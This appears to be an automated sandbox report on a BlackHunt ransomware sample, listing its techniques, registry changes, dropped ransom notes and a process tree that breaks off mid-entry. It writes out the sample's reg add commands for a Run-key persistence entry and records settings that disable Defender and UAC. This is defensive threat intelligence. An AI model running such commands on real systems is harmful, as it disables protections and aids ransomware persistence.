8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e

Data Destruction

T1485

pid	Process
4496	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2572	bcdedit.exe
4172	bcdedit.exe

Renames multiple (521) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4568	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\S:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\H:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\V:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\L:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\X:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\N:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\O:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\K:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\R:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\G:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\B:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\M:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\Z:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\P:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\J:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\Q:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\U:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\W:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\A:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\E:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened (read-only)	\??\I:	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\vlc.mo	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ja.properties	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_ReadMe.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\thaidict.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\relaxngom.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\asm.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hu.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_sv.properties	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jawt.lib	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_TW.properties	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\release	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunpkcs11.jar	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jaccess.jar	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\zipfs.jar	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\giflib.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\colorimaging.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_Private.key	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2332	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4244	vssadmin.exe
1012	vssadmin.exe
5092	vssadmin.exe
736	vssadmin.exe
3976	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeRestorePrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeBackupPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeTakeOwnershipPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeAuditPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeSecurityPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeIncBasePriorityPrivilege	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Token: SeBackupPrivilege	2784	vssvc.exe
Token: SeRestorePrivilege	2784	vssvc.exe
Token: SeAuditPrivilege	2784	vssvc.exe
Token: SeBackupPrivilege	864	wbengine.exe
Token: SeRestorePrivilege	864	wbengine.exe
Token: SeSecurityPrivilege	864	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 3924	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	89
PID 4680 wrote to memory of 3924	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	89
PID 4680 wrote to memory of 1212	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	91
PID 4680 wrote to memory of 1212	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	91
PID 4680 wrote to memory of 712	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	93
PID 4680 wrote to memory of 712	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	93
PID 4680 wrote to memory of 3404	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	166
PID 4680 wrote to memory of 3404	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	166
PID 4680 wrote to memory of 4864	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	97
PID 4680 wrote to memory of 4864	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	97
PID 3924 wrote to memory of 364	3924	cmd.exe	169
PID 3924 wrote to memory of 364	3924	cmd.exe	169
PID 712 wrote to memory of 4028	712	cmd.exe	103
PID 712 wrote to memory of 4028	712	cmd.exe	103
PID 3404 wrote to memory of 4332	3404	reg.exe	100
PID 3404 wrote to memory of 4332	3404	reg.exe	100
PID 4864 wrote to memory of 552	4864	cmd.exe	101
PID 4864 wrote to memory of 552	4864	cmd.exe	101
PID 1212 wrote to memory of 1008	1212	cmd.exe	102
PID 1212 wrote to memory of 1008	1212	cmd.exe	102
PID 4680 wrote to memory of 2332	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	104
PID 4680 wrote to memory of 2332	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	104
PID 4680 wrote to memory of 4252	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	106
PID 4680 wrote to memory of 4252	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	106
PID 4680 wrote to memory of 2196	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	107
PID 4680 wrote to memory of 2196	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	107
PID 4680 wrote to memory of 3216	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	110
PID 4680 wrote to memory of 3216	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	110
PID 4680 wrote to memory of 3396	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	112
PID 4680 wrote to memory of 3396	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	112
PID 2332 wrote to memory of 4348	2332	cmd.exe	114
PID 2332 wrote to memory of 4348	2332	cmd.exe	114
PID 4680 wrote to memory of 3412	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	115
PID 4680 wrote to memory of 3412	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	115
PID 4680 wrote to memory of 4668	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	119
PID 4680 wrote to memory of 4668	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	119
PID 4252 wrote to memory of 1484	4252	cmd.exe	117
PID 4252 wrote to memory of 1484	4252	cmd.exe	117
PID 2196 wrote to memory of 3060	2196	cmd.exe	120
PID 2196 wrote to memory of 3060	2196	cmd.exe	120
PID 4680 wrote to memory of 3524	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	121
PID 4680 wrote to memory of 3524	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	121
PID 4680 wrote to memory of 688	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	123
PID 4680 wrote to memory of 688	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	123
PID 4680 wrote to memory of 1772	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	126
PID 4680 wrote to memory of 1772	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	126
PID 4680 wrote to memory of 4144	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	125
PID 4680 wrote to memory of 4144	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	125
PID 4680 wrote to memory of 2252	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	129
PID 4680 wrote to memory of 2252	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	129
PID 4680 wrote to memory of 532	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	133
PID 4680 wrote to memory of 532	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	133
PID 4680 wrote to memory of 2100	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	131
PID 3396 wrote to memory of 5052	3396	cmd.exe	132
PID 4680 wrote to memory of 2100	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	131
PID 3396 wrote to memory of 5052	3396	cmd.exe	132
PID 4680 wrote to memory of 3356	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	136
PID 4680 wrote to memory of 3356	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	136
PID 4680 wrote to memory of 3088	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	135
PID 4680 wrote to memory of 3088	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	135
PID 4680 wrote to memory of 3932	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	146
PID 4680 wrote to memory of 3932	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	146
PID 4680 wrote to memory of 2224	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	141
PID 4680 wrote to memory of 2224	4680	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe	141

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe
"C:\Users\Admin\AppData\Local\Temp\8d60f700533aa3563ab711a1b2fa44198631616586476cc521368a0254da095e.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\reg.exe
